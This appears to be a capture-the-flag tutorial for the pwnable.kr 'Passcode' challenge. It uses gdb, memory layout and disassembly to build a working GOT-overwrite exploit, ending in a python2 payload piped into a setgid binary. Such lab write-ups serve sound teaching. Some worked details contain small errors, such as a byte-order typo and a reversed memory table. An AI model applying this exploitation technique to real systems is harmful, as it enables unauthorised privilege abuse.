pwnable.kr (Passcode)

Tutorial Notes

What you’ll learn:

  • More sophisticated attacks into memory buffers
  • More sophisticated uses of gdb
  • Introduction to assembly code
  • Closer look at how data is stored in memory

Directions:

First visit pwnable.kr and click on the “Passcode” icon. Next we log in via ssh as per the instructions:

$ ssh passcode@pwnable.kr -p2222
passcode@pwnable.kr's password:
██     ██ ███████ ██       ██████  ██████  ███    ███ ███████     ████████  ██████
██     ██ ██      ██      ██      ██    ██ ████  ████ ██             ██    ██    ██
██  █  ██ █████   ██      ██      ██    ██ ██ ████ ██ █████          ██    ██    ██
██ ███ ██ ██      ██      ██      ██    ██ ██  ██  ██ ██             ██    ██    ██
 ███ ███  ███████ ███████  ██████  ██████  ██      ██ ███████        ██     ██████


██████  ██     ██ ███    ██  █████  ██████  ██      ███████    ██   ██ ██████
██   ██ ██     ██ ████   ██ ██   ██ ██   ██ ██      ██         ██  ██  ██   ██
██████  ██  █  ██ ██ ██  ██ ███████ ██████  ██      █████      █████   ██████
██      ██ ███ ██ ██  ██ ██ ██   ██ ██   ██ ██      ██         ██  ██  ██   ██
██       ███ ███  ██   ████ ██   ██ ██████  ███████ ███████ ██ ██   ██ ██   ██


Admin: daehee (daehee87@khu.ac.kr)
Please note that server is under renewal/update.
Please don't brute-force the resource, be kind to other users.
Installed Tools: pwndbg, qemu, python2, python3
(let admin know if some essential tool is missing)
**IMPORTANT: stuff under /tmp can be erased. "/usr/local/bin/cleanup_tmp.sh" runs every 24H **
passcode@ubuntu:~$

Next let’s orient ourselves: who are we? what’s in our directory:

passcode@ubuntu:~$ id
uid=1010(passcode) gid=1010(passcode) groups=1010(passcode)
passcode@ubuntu:~$ ls -l
total 24
-r--r----- 1 root passcode_pwn    42 Apr 19  2025 flag
-r-xr-sr-x 1 root passcode_pwn 15232 Apr 19  2025 passcode
-rw-r--r-- 1 root root           892 Apr 19  2025 passcode.c

Once again, the permission for flag are such that only the owner (root) or group (passcode_pwn) can read from it. We can see an executable file passcode that has curious permissions:

-r-xr-sr-x 1 root passcode_pwn 15232 Apr 19  2025 passcode

This looks similar to the suid (set user id on execute) permission from the Collision challenge, except the s is in the group field. This is the guid or “set group id on execute” permission. When passcode is run, it will take on group passcode_pwn. So if we run passcode, it will have the necessary privilege to access the flag. So now all we need to do is figure out how get it to read from the flag.

Let’s have a look at the passcode.c file:

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
		            setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.1 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;
}

Let’s start in the main() function. It calls two function: welcome() and login() and then prints a success message. Looking at welcome() doesn’t seem to reveal much: there’s simple code for you to enter your name, and print it back. In the login() we see a couple of places to enter a passcode, and then an if statement checking whether these passcodes equal some predetermined value. If so, the program will print the flag, otherwise the program will exit.

So what’s our strategy? Well, we could try to approach it the same as with the bof challenge: overrun the bounds of the name array in the welcome() function, and see if we can use this to rewrite the passcode1 and passcode2 variables in the login() function.

As before, it seems like it might be a good strategy to compile our own passcode binary with debugging information present. First let’s check:

passcode@ubuntu:~$ file passcode
passcode: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=e24d23d6babbfa731aaae3d50c6bb1c37dc9b0af, for GNU/Linux 3.2.0, not stripped

Again we see it’s a 32-bit binary. As before we can create and work out of a temp directory and compile our own version:

passcode@ubuntu:~$ mkdir /tmp/mypasscode && cp passcode.c /tmp/mypasscode && cd /tmp/mypasscode

Next we compile the program. Be sure to use the -no-pie flag… for reasons we won’t get into.

passcode@ubuntu:/tmp/mypasscode$ gcc -no-pie -g -m32 passcode.c -o passcode
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
  scanf("%d", passcode1);
        ^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
         scanf("%d", passcode2);
               ^
passcode@ubuntu:/tmp/mypasscode$ 

Again we see compiler warnings. This could be useful. Let’s make a mental note and revisit this later.

Debugging passcode

Let’s start by running gdb and setting some breakpoints:

passcode@ubuntu:/tmp/mypasscode$ gdb passcode 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from passcode...done.
pwndbg> 

If we run list 0 it will print out the source code with corresponding line numbers. Let’s setup some break points, shall we? First let’s maybe setup a breakpoint allowing us to examine the contents of name after has been written to (line 31):

pwndbg> break 32
Breakpoint 1 at 0x135e: file passcode.c, line 32.

Ok let’s run the program.

pwndbg> run
Starting program: /tmp/mypasscode/passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890

Breakpoint 1, welcome () at passcode.c:31
31		printf("Welcome %s!\n", name);
pwndbg> print name
$1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890\000<~\372\367'\000\000\000@E\374\367\000\000\000\000\276T\331\367\264\217UV\344\333\377\377\200\313\377\367\030\333\377\377"

Understanding how memory is laid out

Ok so we can see the 100 character array partially filled up with our input. But here’s a question: where is the name buffer stored in memory? Well we can find out by printing the contents of the pointer to name as follows:

pwndbg> print &name
$2 = (char (*)[100]) 0xffffda98

Ok, so name begins at address 0xffffda98 and goes for 100 bytes. But here’s the next question: which direction does name get written? Well let’s find out! First let’s print the contents of the memory address 0xffffda98. How should we do that? First, take a look at this article on examining memory addresses and data in gdb. We’ll use the x command (i.e., “examine”) to print 100 characters starting at 0xffffda98:

pwndbg> x/100c 0xffffda98
0xffffda98:	97 'a'	98 'b'	99 'c'	100 'd'	101 'e'	102 'f'	103 'g'	104 'h'
0xffffdaa0:	105 'i'	106 'j'	107 'k'	108 'l'	109 'm'	110 'n'	111 'o'	112 'p'
0xffffdaa8:	113 'q'	114 'r'	115 's'	116 't'	117 'u'	118 'v'	119 'w'	120 'x'
0xffffdab0:	121 'y'	122 'z'	65 'A'	66 'B'	67 'C'	68 'D'	69 'E'	70 'F'
0xffffdab8:	71 'G'	72 'H'	73 'I'	74 'J'	75 'K'	76 'L'	77 'M'	78 'N'
0xffffdac0:	79 'O'	80 'P'	81 'Q'	82 'R'	83 'S'	84 'T'	85 'U'	86 'V'
0xffffdac8:	87 'W'	88 'X'	89 'Y'	90 'Z'	48 '0'	49 '1'	50 '2'	51 '3'
0xffffdad0:	52 '4'	53 '5'	54 '6'	55 '7'	56 '8'	57 '9'	48 '0'	0 '\000'
0xffffdad8:	60 '<'	126 '~'	-6 '\372'	-9 '\367'	39 '\''	0 '\000'0 '\000'	0 '\000'
0xffffdae0:	64 '@'	69 'E'	-4 '\374'	-9 '\367'	0 '\000'	0 '\000'	0 '\000'	0 '\000'
0xffffdae8:	-66 '\276'	84 'T'	-39 '\331'	-9 '\367'	-76 '\264'	-113 '\217'	85 'U'	86 'V'
0xffffdaf0:	-28 '\344'	-37 '\333'	-1 '\377'	-1 '\377'	-128 '\200'	-53 '\313'	-1 '\377'	-9 '\367'
0xffffdaf8:	24 '\030'	-37 '\333'	-1 '\377'	-1 '\377'

So from this we can see that the name buffer grows upward in memory, i.e., each successive byte is stored at the next larger memory address. This means that if name[0] is stored in address 0xffffda98, then name[99] is stored in address 0xffffda98 + 99 = 0xffffdafb.

If you’d like to do arithmetic in hexidecimal, you can do it easily with Python:

passcode@ubuntu:/tmp/mypasscode$ python
Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> x = int("ffffdba8",16) + 99
>>> print(hex(x))
0xffffdc0b

So now we have a clear picture how name[] is laid out in memory:

Memory address  Contents           Write Direction
--------------  --------           ---------------
...             ...
0xffffdafd      <something else>
0xffffdafc      <something else>      (High)
0xffffdafb      name[99]                ^
0xffffdafa      name[98]               / \
0xffffdaf9      name[97]                |
0xffffdaf8      name[96]                |
...             ...                     |
0xffffda9b      name[3]                 |
0xffffda9a      name[2]                 |
0xffffda99      name[1]                 |
0xffffda98      name[0]                 |
0xffffda97      <something else>      (Low)
0xffffda96      <something else>
...             ...

If you’d like a little memory aid to help you remember, think of the word “writeup.” That is, data is written upwards in memory.

Storing Integers as Little Endian

Character arrays are stored in memory in a straight forward way: each successive character occupies the next higher memory address. But what about integers? The particular architecture found in the passcode program is something called little endian, meaning the “little end” (i.e., low byte) of the integer gets stored first.

Here’s an illustration of “big end” vs. “little end.”

Decimal 305419896 is hex 0x12345678

Represented as bytes:

  The "big end"     The "little end"
  ^                 ^
  |                 |
0x12, 0x34, 0x56, 0x78

If an architecture is little endian, the little end gets stored first, which means:

Little endian means little end gets stored first:

0x12, 0x34, 0x56, 0x78
  ^     ^     ^     ^
  |     |     |     | This byte stored 1st
  |     |     | This byte stored 2nd
  |     | This byte stored 3rd
  | This byte stored 4th

The data is still written in an upward direction (i.e., in successively larger addresses). So the first byte is stored gets stored at address n, the second bytes is stored at the next higher address n+1, and so on.

We can try this out. Let’s load the integer 0x12345678 into memory starting at address 0xffffda98:

pwndbg> set {int}0xffffda98 = 0x12345678

Now let’s examine the memory:

pwndbg> x/x 0xffffda98
0xffffda98:	0x78
pwndbg> x/x 0xffffda99
0xffffda99:	0x56
pwndbg> x/x 0xffffda9a
0xffffda9a:	0x34
pwndbg> x/x 0xffffda9b
0xffffda9b:	0x12

So just to visualize this a bit better, the integer 0x12345678 gets stored in memory like this:

Memory address      Contents
--------------      --------
...                 ...
0xffffda9c          <something else>
0xffffda9b          0x12
0xffffda9a          0x34
0xffffda99          0x56
0xffffda98          0x78
0xffffda97          <something else>
...          	    ...

So what? Well recall when we’re writing bytes into buffer, we’re writing from low to high. So if we wanted to write the integer 0x12345678 into memory we’d need to take the little endian-ness into account and order the byte array accordingly:

0x78, 0x56, 0x32, 0x12

Debugging the login() function

Let’s set a new break point in the login() function to see where the passcode1 and passcode2 variables are stored in memory. We can set a breakpoint right at the start of the login() function and then check their memory addresses:

pwndbg> break 4
Breakpoint 1 at 0x80485a1: file passcode.c, line 8.
pwndbg> run
Starting program: /tmp/mypasscode/passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : abc123
Welcome abc123!

Breakpoint 1, login () at passcode.c:8
8		printf("enter passcode1 : ");
pwndbg> print &passcode1
$1 = (int *) 0xffffdaf8

Well this is interesting. Notice passcode1 begins at 0xffffdaf8. Since it’s an integer, it occupies 4 bytes growing upward in memory, i.e.,

Memory address		Contents
--------------		-------
0xffffdafb 		passcode1 (greatest byte)
0xffffdafa 		passcode1
0xffffdaf9 		passcode1
0xffffdaf8 		passcode1 (least byte)

But now recall back to our analysis of the name buffer in the welcome() function:

Memory address		Contents
--------------		-------
0xffffdafb 		name[99]
0xffffdafa 		name[98]
0xffffdaf9 		name[97]
0xffffdaf8 		name[96]

Interesting! The last 4 bytes of name overlap with passcode1.

Huh? How does that work? Well name and passcode1 are local variables living in two separate functions. Local variables are only allocated when the function is called. So by the time passcode1 is allocated, the name variable is no longer being used, and passcode1 essentially by coincidence got allocated to a region of memory that name had used previously.

So here’s another question: if we set the addresses 0xffffdaf8-fb during the welcome() function, would those values still be there when the login function is called? Well let’s check. Let’s try entering a name consisting of 96 “.”s followed by “ABCD”. Then we’ll examine the contents of passcode1 using x/c, which tells gdb to print the memory contents as characters:

pwndbg> run
Starting program: /tmp/mypasscode/passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : ................................................................................................ABCD
Welcome ................................................................................................ABCD!

Breakpoint 2, login () at passcode.c:8
8		printf("enter passcode1 : ");
pwndbg> x/c 0xffffdaf8
0xffffdaf8:	65 'A'
pwndbg> x/c 0xffffdaf9
0xffffdaf9:	66 'B'
pwndbg> x/c 0xffffdafa
0xffffdafa:	67 'C'
pwndbg> x/c 0xffffdafb
0xffffdafb:	68 'D'
pwndbg> 

Bingo! We can control the contents of passcode1 at the time the login() function is called.

The mistake here (well, one of the mistakes) is the programmer didn’t initialize passcode1, so whatever was living in memory from before just gets left there. Ok, this will be useful.

That Compiler Warning about scanf()

Recall back to when we compile the program, we received that compiler warning:

passcode.c:9:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
    9 |         scanf("%d", passcode1);

Let’s go look up what’s going on here. The scanf() function is accepting input from standard in. To understand this, you need to understand a bit about how pointers work.

First let’s see an example of how scanf reads an integer from standard in:

scanf ("%d", <address>)

The scanf tells the program to read bytes from standard input, interpret them in some specified format, and then store them somewhere in memory.

The %d tells the program to interpret the input as a signed integer, i.e., read an ASCII numeric value from standard in, interpret it as a 4 byte integer, and store it at the address specified by <address>.

Using scanf properly

So how do you specify an address? Well first we would allocate an integer in memory, and then point scanf to that location. Here’s an example of how to do it properly:

int i;
printf ("Enter your age: ");
scanf ("%d", &i);

The &i tells the program to lookup the memory address of integer i using the address-of operator &, and then write the 4 input bytes to memory beginning at that address.

Using scanf improperly

Look what happens in login(), however:

printf("enter passcode1 : ");
scanf("%d", passcode1);

The programmer has made a mistake. Recall scanf() will write the input to whatever address you give it. The correct action would be to lookup the address of passcode1 using &passcode1, i.e.,

scanf("%d", &passcode1);

But the programmer forgot the address-of (&) operator. So instead of giving scanf the location of passcode1, you’re giving it the contents of passcode1!

But scanf is a dumb function… it’s going to write to whatever address you give it, so it’s going to treat the contents of passcode1 as the address it is supposed to write to!

So as the attacker, if we could set the contents of passcode1, we could make the program write 4 bytes to any address we want!

Summary

So to summarize what we have so far:

  • The name buffer overlaps with passcode1 allowing us to write into passcode1
  • The programmer forgot to initialize passcode1 allowing us to control the contents of passcode1 by filling the name buffer.
  • The programmer improperly instructs scanf to store bytes from standard input into the address pointed to by the contents of passcode1

Since we control the contents of passcode1 we can write an integer into any memory location we want (well.. with some constraints).

Question: if you could write 4 bytes anywhere in memory, where would you write? What would you write? Well recall 4 bytes is enough to specify a memory address. So the “what” could be an address.

If you could jump anywhere in the code, where would you jump to?

The next piece of the puzzle is to understand what happens when a function gets called. There’s a fair bit of detail here, but we’ll just skip to the part that’s relevant to us: when a function is called, the program has to jump to a location in memory containing the function’s code. That means a function call must specify an address to jump to. So if we could overwrite that address, we could cause the program to jump to anywhere we want and continue executing!

So what if we just jumped straight to the system call, bypassing the if statement all together? Let’s take a look.

For this we can use the disassemble command in gdb to disassemble the login function and see the memory addresses are associated with various operations:

pwndbg> disassemble login
Dump of assembler code for function login:
   0x080491f6 <+0>:    push   ebp
   0x080491f7 <+1>:    mov    ebp,esp
   0x080491f9 <+3>:    push   esi
   0x080491fa <+4>:    push   ebx
   0x080491fb <+5>:    sub    esp,0x10
   0x080491fe <+8>:    call   0x8049130 <__x86.get_pc_thunk.bx>
   0x08049203 <+13>:    add    ebx,0x2dfd
   0x08049209 <+19>:    sub    esp,0xc
   0x0804920c <+22>:    lea    eax,[ebx-0x1ff8]
   0x08049212 <+28>:    push   eax
   0x08049213 <+29>:    call   0x8049050 <printf@plt>
   0x08049218 <+34>:    add    esp,0x10
   0x0804921b <+37>:    sub    esp,0x8
   0x0804921e <+40>:    push   DWORD PTR [ebp-0x10]
   0x08049221 <+43>:    lea    eax,[ebx-0x1fe5]
   0x08049227 <+49>:    push   eax
   0x08049228 <+50>:    call   0x80490d0 <__isoc99_scanf@plt>
   0x0804922d <+55>:    add    esp,0x10
   0x08049230 <+58>:    mov    eax,DWORD PTR [ebx-0x4]
   0x08049236 <+64>:    mov    eax,DWORD PTR [eax]
   0x08049238 <+66>:    sub    esp,0xc
   0x0804923b <+69>:    push   eax
   0x0804923c <+70>:    call   0x8049060 <fflush@plt>
   0x08049241 <+75>:    add    esp,0x10
   0x08049244 <+78>:    sub    esp,0xc
   0x08049247 <+81>:    lea    eax,[ebx-0x1fe2]
   0x0804924d <+87>:    push   eax
   0x0804924e <+88>:    call   0x8049050 <printf@plt>
   0x08049253 <+93>:    add    esp,0x10
   0x08049256 <+96>:    sub    esp,0x8
   0x08049259 <+99>:    push   DWORD PTR [ebp-0xc]
   0x0804925c <+102>:    lea    eax,[ebx-0x1fe5]
   0x08049262 <+108>:    push   eax
   0x08049263 <+109>:    call   0x80490d0 <__isoc99_scanf@plt>
   0x08049268 <+114>:    add    esp,0x10
   0x0804926b <+117>:    sub    esp,0xc
   0x0804926e <+120>:    lea    eax,[ebx-0x1fcf]
   0x08049274 <+126>:    push   eax
   0x08049275 <+127>:    call   0x8049090 <puts@plt>
   0x0804927a <+132>:    add    esp,0x10
   0x0804927d <+135>:    cmp    DWORD PTR [ebp-0x10],0x1e240
   0x08049284 <+142>:    jne    0x80492ce <login+216>
   0x08049286 <+144>:    cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x0804928d <+151>:    jne    0x80492ce <login+216>
   0x0804928f <+153>:    sub    esp,0xc
   0x08049292 <+156>:    lea    eax,[ebx-0x1fc3]
   0x08049298 <+162>:    push   eax
   0x08049299 <+163>:    call   0x8049090 <puts@plt>
   0x0804929e <+168>:    add    esp,0x10
   0x080492a1 <+171>:    call   0x8049080 <getegid@plt>
   0x080492a6 <+176>:    mov    esi,eax
   0x080492a8 <+178>:    call   0x8049080 <getegid@plt>
   0x080492ad <+183>:    sub    esp,0x8
   0x080492b0 <+186>:    push   esi
   0x080492b1 <+187>:    push   eax
   0x080492b2 <+188>:    call   0x80490c0 <setregid@plt>
   0x080492b7 <+193>:    add    esp,0x10
   0x080492ba <+196>:    sub    esp,0xc
   0x080492bd <+199>:    lea    eax,[ebx-0x1fb9]
   0x080492c3 <+205>:    push   eax
   0x080492c4 <+206>:    call   0x80490a0 <system@plt>
   0x080492c9 <+211>:    add    esp,0x10
   0x080492cc <+214>:    jmp    0x80492ea <login+244>
   0x080492ce <+216>:    sub    esp,0xc
   0x080492d1 <+219>:    lea    eax,[ebx-0x1fab]
   0x080492d7 <+225>:    push   eax
   0x080492d8 <+226>:    call   0x8049090 <puts@plt>
   0x080492dd <+231>:    add    esp,0x10
   0x080492e0 <+234>:    sub    esp,0xc
   0x080492e3 <+237>:    push   0x0
   0x080492e5 <+239>:    call   0x80490b0 <exit@plt>
   0x080492ea <+244>:    nop
   0x080492eb <+245>:    lea    esp,[ebp-0x8]
   0x080492ee <+248>:    pop    ebx
   0x080492ef <+249>:    pop    esi
   0x080492f0 <+250>:    pop    ebp
   0x080492f1 <+251>:    ret

So if we could somehow cause the program to jump to address 0x080492bd, the next instruction to be executed would be the system call that would print the flag!

0x080492bd <+199>:	lea    eax,[ebx-0x1fb9]   # Load "/bin/cat flag" address
0x080492c3 <+205>:	push   eax                # Push as argument
0x080492c4 <+206>:	call   0x80490a0 <system@plt>  # Execute system()

But this skips the setregid() call, which is important in this example to set the correct permissions to let us read the flag. So let’s target jumping to just before that. The printf("Login OK!\n"); line is found in the instruction:

0x08049299 <+163>:    call   0x8049090 <puts@plt>

So we will make 0x08049299 our target address. If we can force the program to start executing from here, it will set the group permissions and execute the system call to print the flag.

Hijacking a function call

In order to jump to our target address, we are going to hijack a function call. Instead of jumping to the function’s code, we want to use the jmp instruction to jump to our target address instead.

Cool. So which function call shall we hijack? Returning to the code, the operation immediately after the scanf is a function called fflush:

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

So we could use the scanf to overwrite the address pointing to the start of the fflush code, causing the program to jump to our target address instead. Let’s disassemble fflush and see. Note the program should be halted (i.e., not paused at a breakpoint) when you do this:

pwndbg> disassemble fflush
Dump of assembler code for function fflush@plt:
   0x08049060 <+0>:	jmp    DWORD PTR ds:0x804c014
   0x08049066 <+6>:	push   0x10
   0x0804906b <+11>:	jmp    0x8049030
End of assembler dump.

So the first instruction is jmp DWORD PTR ds:0x804c014. The jmp instruction tells the program to jump to an address to continue execution. In this case the program will jump to the location of the fflush code and execute it.

So which address does it jump to? The “PTR” is a pointer. PTR ds:0x804c014 is explained as the “address pointed to by 0x804c014”. In other words, go grab the 4 bytes stored in memory at addresses PTR ds:0x804c014-0x804c017, and then jump to that address.

Ok, now we got it. We need to overwrite the contents in addresses 0x804c014-0x804c017 with the address of the system call. When the program loads the address to run the fflush code, it will instead load the address of the system call, and jump to that instead.

Recall the the target address we want to jump to is the printf() command at 0x08049299, so our goal to write the following contents to memory:

Memory address		Contents
--------------		-------
0x804c017		  0x99
0x804c016 		0x92
0x804c015 		0x04
0x804c014 		0x08

In Summary

When the program calls fflush, it goes and grabs the 4 bytes starting at 0x804c014. Normally this would cause the program to jump to the location of the fflush instructions. But we’ve rewritten the memory contents to the address of the system call.

Think of 0x804c014 as a mailbox. When the program goes to the mailbox, it looks inside and finds a piece of paper. Whatever address is written on the paper… the program will go there next. Let’s erase what lives there, and put our target address there instead.

So when the program tries to jump to the fflush instructions, it will jump to our target address, which will print the flag.

Putting the exploit goals together

In summary we have 3 parts to our exploit:

  1. Filling the buffer enough bytes to write into the uninitialized passcode1 variable.
  2. Filling passcode1 with the value 0x804c014 so the vulnerable scanf call will store its input to that address.
  3. Filling this ‘mailbox’ address 0x804c014 with our target address 0x08049299 so the fflush will execute the system call printing the flag.

So as input into the program we need:

  1. 96 characters of filler (it doesn’t matter). Just enough bytes so we can set the last 4 bytes. Python makes it easy to generate a string of 96 characters:
96 * '.'
  1. The the address of the ‘mailbox’, i.e., the bytes 0x804c014 stored in little endian. In Python this would be:
\x14\xc0\x04\x08
  1. The target address to jump to, i.e. 0x08049299. However, the scanf() reads this value as an ASCII encoded decimal number, since the scanf() function is expecting the user to type it in. Let’s convert 0x08049299 to decimal. Using the Python interpreter we get:
>>> int("0x08049299",16)
134517401

Putting this all together we have the Python2 command:

print 96 * '.' + '\x14\xc0\x04\x08' + '134517401'

Ok, let’s input this into passcode:

passcode@ubuntu:~$ python2 -c "print(96 * '.' + '\x14\xc0\x04\x08' + '134517401')" | ./passcode
Toddler's Secure Login System 1.1 beta.
enter you name : Welcome ................................................................................................!
enter passcode1 : ����
                      �����P���������u���P�h�������
                                                   ��1���P�������}�@�
/bin/cat: flag: No such file or directory
Now I can safely trust you that you have credential :)

It worked! But it didn’t print the flag (it says No such file or directory). That’s because we ran it on the version in /tmp/mypasscode. Now we need to run it on the real version in /home/passcode to capture the flag.